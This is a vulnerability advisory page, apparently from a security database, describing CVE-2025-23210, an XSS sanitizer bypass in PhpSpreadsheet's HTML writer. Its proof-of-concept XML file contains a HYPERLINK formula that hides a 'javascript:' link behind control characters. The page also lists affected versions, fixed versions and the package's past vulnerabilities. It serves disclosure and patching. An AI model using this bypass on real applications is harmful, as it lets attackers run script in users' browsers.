Anmelden
Deutsch English Español Polski
Mittel

PhpSpreadsheet allows bypassing of XSS sanitizer using the javascript protocol and special characters

  • Veröffentlicht: 03.02.2025
  • Aktualisiert: 11.10.2026 10:22

Product: PhpSpreadsheet Version: 3.8.0 CWE-ID: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') CVSS vector v.3.1: 5.4 (AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N) CVSS vector v.4.0: 4.8 (AV:N/AC:L/AT:N/PR:L/UI:A/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N) Description: an attacker can use special characters, so that the library processes the javascript protocol with special characters and generates an HTML link Impact: executing arbitrary JavaScript code in the browser Vulnerable component: class PhpOffice\PhpSpreadsheet\Writer\Html, method generateRow Exploitation conditions: a user viewing a specially generated xml file Mitigation: additional sanitization of special characters in a string Researcher: Igor Sak-Sakovskiy (Positive Technologies)

Research

The researcher discovered zero-day vulnerability Bypass XSS sanitizer using the javascript protocol and special characters in Phpspreadsheet. The following code is written on the server, which translates the XML file into an HTML representation and displays it in the response.

Listing 4. Source code on the server

php
<?php

require __DIR__ . '/vendor/autoload.php';

$inputFileType = 'Xml';
$reader = \PhpOffice\PhpSpreadsheet\IOFactory::createReader($inputFileType);  

$inputFileName = './doc/file.xml';
$spreadsheet = $reader->load($inputFileName); 
 
$writer = new \PhpOffice\PhpSpreadsheet\Writer\Html($spreadsheet); 
print($writer->generateHTMLAll());

The contents of the xml file - ./doc/file.xml

Listing 5. The contents of the xml file

<?xml version="1.0"?> 
<?mso-application progid="Excel.Sheet"?> 
<Workbook xmlns="urn:schemas-microsoft-com:office:spreadsheet" 
 xmlns:o="urn:schemas-microsoft-com:office:office" 
 xmlns:x="urn:schemas-microsoft-com:office:excel" 
 xmlns:ss="urn:schemas-microsoft-com:office:spreadsheet" 
 xmlns:html="http://www.w3.org/TR/REC-html40"> 
 <DocumentProperties xmlns="urn:schemas-microsoft-com:office:office"> 
  <Author>author</Author> 
  <LastAuthor>author</LastAuthor> 
  <Created>2015-06-05T18:19:34Z</Created> 
  <LastSaved>2024-12-25T10:16:07Z</LastSaved> 
  <Version>16.00</Version> 
 </DocumentProperties> 
 <OfficeDocumentSettings xmlns="urn:schemas-microsoft-com:office:office"> 
  <AllowPNG/> 
 </OfficeDocumentSettings> 
 <ExcelWorkbook xmlns="urn:schemas-microsoft-com:office:excel"> 
  <WindowHeight>11020</WindowHeight> 
  <WindowWidth>19420</WindowWidth> 
  <WindowTopX>32767</WindowTopX> 
  <WindowTopY>32767</WindowTopY> 
  <ProtectStructure>False</ProtectStructure> 
  <ProtectWindows>False</ProtectWindows> 
 </ExcelWorkbook> 
 <Styles> 
  <Style ss:ID="Default" ss:Name="Normal"> 
   <Alignment ss:Vertical="Bottom"/> 
   <Borders/> 
   <Font ss:FontName="Calibri" x:Family="Swiss" ss:Size="11" ss:Color="#000000"/> 
   <Interior/> 
   <NumberFormat/> 
   <Protection/> 
  </Style> 
  <Style ss:ID="s16"> 
   <NumberFormat ss:Format="General Date"/> 
  </Style> 
 </Styles> 
 <Worksheet ss:Name="Лист1"> 
  <Table ss:ExpandedColumnCount="2" ss:ExpandedRowCount="6" x:FullColumns="1" 
   x:FullRows="1" ss:DefaultRowHeight="14.5"> 
   <Column ss:AutoFitWidth="0" ss:Width="194"/> 
   <Row> 
     <Cell ss:Formula="=HYPERLINK (CHAR(20) &amp; &quot;j&quot; &amp; CHAR(13) &amp; &quot;avascript:alert(1)&quot;)"><Data ss:Type="String"></Data></Cell> 
   </Row> 
  </Table> 
  <WorksheetOptions xmlns="urn:schemas-microsoft-com:office:excel"> 
   <PageSetup> 
    <Header x:Margin="0.3"/> 
    <Footer x:Margin="0.3"/> 
    <PageMargins x:Bottom="0.75" x:Left="0.7" x:Right="0.7" x:Top="0.75"/> 
   </PageSetup> 
   <Selected/> 
   <TopRowVisible>1</TopRowVisible> 
   <Panes> 
    <Pane> 
     <Number>3</Number> 
     <ActiveRow>6</ActiveRow> 
    </Pane> 
   </Panes> 
   <ProtectObjects>False</ProtectObjects> 
   <ProtectScenarios>False</ProtectScenarios> 
  </WorksheetOptions> 
 </Worksheet>
</Workbook>

Due to the load with a special character in front of the javascript protocol, the execution flow hits line 1595, not 1593.

Figure 4. Generating a link bypassing a regular expression fig4

In the response from the server, you can see which special character is located in front of the javascript protocol after conversion.

Figure 5. Response from the server with a special character fig5

When viewing the rendered result, a link becomes visible in the browser, and when clicked, the embedded JavaScript code will be executed.

Figure 6. Executing JavaScript code <img width="595" alt="fig6" src="https://github.com/user-attachments/assets/b8ff1aeb-ba3b-49c1-a3b4-9e2cc1fc52d1" />

Credit

Igor Sak-Sakovskiy (Positive Technologies)

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

PlattformPaketAnfällige VersionenBehoben in
Composer-Paket phpoffice/phpexcel <= 1.8.2 keine Korrektur
Composer-Paket phpoffice/phpspreadsheet >= 3.0.0, < 3.9.0, < 1.29.9, >= 2.2.0, < 2.3.7, >= 2.0.0, < 2.1.8 3.9.0, 1.29.9, 2.3.7, 2.1.8

Verweise

CVSS-Wert 5.4/10
CVSS-Vektor
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
Schwäche (CWE)
CWE-79
Plattform
Composer
Paket
phpoffice/phpexcel, phpoffice/phpspreadsheet
Veröffentlicht
03.02.2025
Aktualisiert
11.10.2026 10:22

Quellen und Lizenzen

OSV / GitHub Advisory Database - GHSA-r57h-547h-w24f - CC BY 4.0

Schwachstellenhistorie: phpoffice/phpspreadsheet

Alle veröffentlichten Schwachstellen dieses Pakets (Composer-Paket), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Alle (31) im Archiv
Einträge insgesamt
31
Erste → letzte
11.2019 07.2026
Ohne Fix
0
In Angriffen ausgenutzt
0

Verteilung nach Schweregrad

  • Kritisch 2
  • Hoch 17
  • Mittel 12

Veröffentlichungen pro Jahr

Schweregrad:
  1. PHPSpreadsheet: XLS/OLE sector-chain self-loop causes memory exhaustion
    Hoch · 7.5 CVE-2026-59933 >= 4.0.0, < 5.8.1, >= 3.3.0, < 3.10.7, >= 2.2.0, < 2.4.7, >= 2.0.0, < 2.1.18, < 1.30.6 5.8.1, 3.10.7, 2.4.7, 2.1.18, 1.30.6
  2. PHPSpreadsheet: Gnumeric reader unbounded gzip expansion causes memory exhaustion
    Hoch · 7.5 CVE-2026-59932 >= 4.0.0, < 5.8.1, >= 3.3.0, < 3.10.7, >= 2.2.0, < 2.4.7, >= 2.0.0, < 2.1.18, < 1.30.6 5.8.1, 3.10.7, 2.4.7, 2.1.18, 1.30.6
  3. PHPSpreadsheet: SSRF bypass via HTTP redirect in WEBSERVICE() domain whitelist
    Hoch · 7.7 CVE-2026-59931 >= 4.0.0, < 5.8.1, >= 3.3.0, < 3.10.7, >= 2.2.0, < 2.4.7, >= 2.0.0, < 2.1.18, < 1.30.6 5.8.1, 3.10.7, 2.4.7, 2.1.18, 1.30.6
  4. PHPSpreadsheet has a patch bypass for CVE-2026-34084
    Kritisch CVE-2026-45034 < 1.30.5 1.30.5
  5. PhpSpreadsheet has CPU Denial of Service via Unbounded Row Number in XLSX Row Dimensions
    Hoch · 7.5 CVE-2026-40902 >= 4.0.0, < 5.7.0, >= 3.3.0, < 3.10.5, >= 2.2.0, < 2.4.5, >= 2.0.0, < 2.1.16, < 1.30.4 5.7.0, 3.10.5, 2.4.5, 2.1.16, 1.30.4
  6. PhpSpreadsheet has CPU Denial of Service via Unbounded Row Index in SpreadsheetML XML Reader
    Hoch · 7.5 CVE-2026-40863 >= 4.0.0, < 5.7.0, >= 3.3.0, < 3.10.5, >= 2.2.0, < 2.4.5, >= 2.0.0, < 2.1.16, < 1.30.4 5.7.0, 3.10.5, 2.4.5, 2.1.16, 1.30.4
  7. PhpSpreadsheet has SSRF/RCE in IOFactory::load when $filename is user controlled
    Kritisch CVE-2026-34084 >= 4.0.0, < 5.6.0, >= 3.3.0, < 3.10.4, >= 2.2.0, < 2.4.4, >= 2.0.0, < 2.1.15, < 1.30.3 5.6.0, 3.10.4, 2.4.4, 2.1.15, 1.30.3
  8. PhpSpreadsheet vulnerable to SSRF when reading and displaying a processed HTML document in the browser
    Hoch CVE-2025-54370 < 1.30.0, >= 2.0.0, < 2.1.12, >= 2.2.0, < 2.4.0, >= 3.0.0, < 3.10.0, >= 4.0.0, < 5.0.0 1.30.0, 2.1.12, 2.4.0, 3.10.0, 5.0.0
  9. PhpSpreadsheet allows bypassing of XSS sanitizer using the javascript protocol and special characters dieser Eintrag
    Mittel · 5.4 CVE-2025-23210 >= 3.0.0, < 3.9.0, < 1.29.9, >= 2.2.0, < 2.3.7, >= 2.0.0, < 2.1.8 3.9.0, 1.29.9, 2.3.7, 2.1.8
  10. PhpSpreadsheet allows unauthorized Reflected XSS in Currency.php file
    Hoch · 7.1 CVE-2024-56409 >= 3.0.0, < 3.7.0, < 1.29.7, >= 2.0.0, < 2.1.6, >= 2.2.0, < 2.3.5 3.7.0, 1.29.7, 2.1.6, 2.3.5
  11. PhpSpreadsheet allows unauthorized Reflected XSS in the Accounting.php file
    Hoch · 7.1 CVE-2024-56366 >= 3.0.0, < 3.7.0, < 1.29.7, >= 2.0.0, < 2.1.6, >= 2.2.0, < 2.3.5 3.7.0, 1.29.7, 2.1.6, 2.3.5
  12. PhpSpreadsheet allows unauthorized Reflected XSS in the constructor of the Downloader class
    Hoch · 7.1 CVE-2024-56365 >= 3.0.0, < 3.7.0, < 1.29.7, >= 2.0.0, < 2.1.6, >= 2.2.0, < 2.3.5 3.7.0, 1.29.7, 2.1.6, 2.3.5
  13. PhpSpreadsheet allows unauthorized Reflected XSS in `Convert-Online.php` file
    Hoch · 7.1 CVE-2024-56408 >= 3.0.0, < 3.7.0, < 1.29.7, >= 2.0.0, < 2.1.6, >= 2.2.0, < 2.3.5 3.7.0, 1.29.7, 2.1.6, 2.3.5
  14. XXE in PHPSpreadsheet's XLSX reader
    Hoch · 7.5 CVE-2024-48917 < 1.29.4, >= 2.0.0, < 2.1.3, >= 2.2.0, < 2.3.2, >= 3.3.0, < 3.4.0 1.29.4, 2.1.3, 2.3.2, 3.4.0
  15. XmlScanner bypass leads to XXE
    Hoch · 7.5 CVE-2024-47873 < 1.29.4, >= 2.0.0, < 2.1.3, >= 2.2.0, < 2.3.2, >= 3.3.0, < 3.4.0 1.29.4, 2.1.3, 2.3.2, 3.4.0
  16. PhpSpreadsheet allows absolute path traversal and Server-Side Request Forgery when opening XLSX file
    Hoch · 7.7 CVE-2024-45290 >= 2.2.0, < 2.3.0, < 1.29.2, >= 2.0.0, < 2.1.1 2.3.0, 1.29.2, 2.1.1
  17. PHPSpreadsheet Library < 2.3.0 - XXE Injection
    Hoch · 7.5 CVE-2024-45293 >= 2.2.0, < 2.3.0, < 1.29.1, >= 2.0.0, < 2.1.1 2.3.0, 1.29.1, 2.1.1
  18. XXE in PHPSpreadsheet encoding is returned
    Hoch · 8.8 CVE-2024-45048 < 1.29.1, >= 2.2.0, < 2.2.1, >= 2.0.0, < 2.1.1 1.29.1, 2.2.1, 2.1.1
  19. XXE in PHPSpreadsheet due to incomplete fix for previous encoding issue
    Hoch · 8.8 CVE-2019-12331 < 1.8.0 1.8.0
  20. XXE in PHPSpreadsheet due to encoding issue
    Hoch · 8.8 CVE-2018-19277 < 1.5.1 1.5.1

Erkennen Sie Schwachstellen in Ihrer Anwendung

Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.

Anwendung verbinden
DockRay Newsletter

Anwendungssicherheit in Ihrem Postfach

Wichtige Schwachstellen, konkrete Empfehlungen und praktische Tipps für Ihre Anwendungen. Wählen Sie Ihre Technologien und verfolgen Sie, was für Ihr Projekt relevant ist.

  • Eine tägliche Zusammenfassung neuer Schwachstellen, auch kritischer.
  • Benachrichtigungen über wichtige Updates.
  • Praktische Tipps zur Sicherheit und Überwachung von Anwendungen.

Leer lassen, um Meldungen zu allen Technologien zu erhalten.

Datenschutzerklärung

Kostenlos anmelden. In jeder E-Mail mit einem Klick abmelden.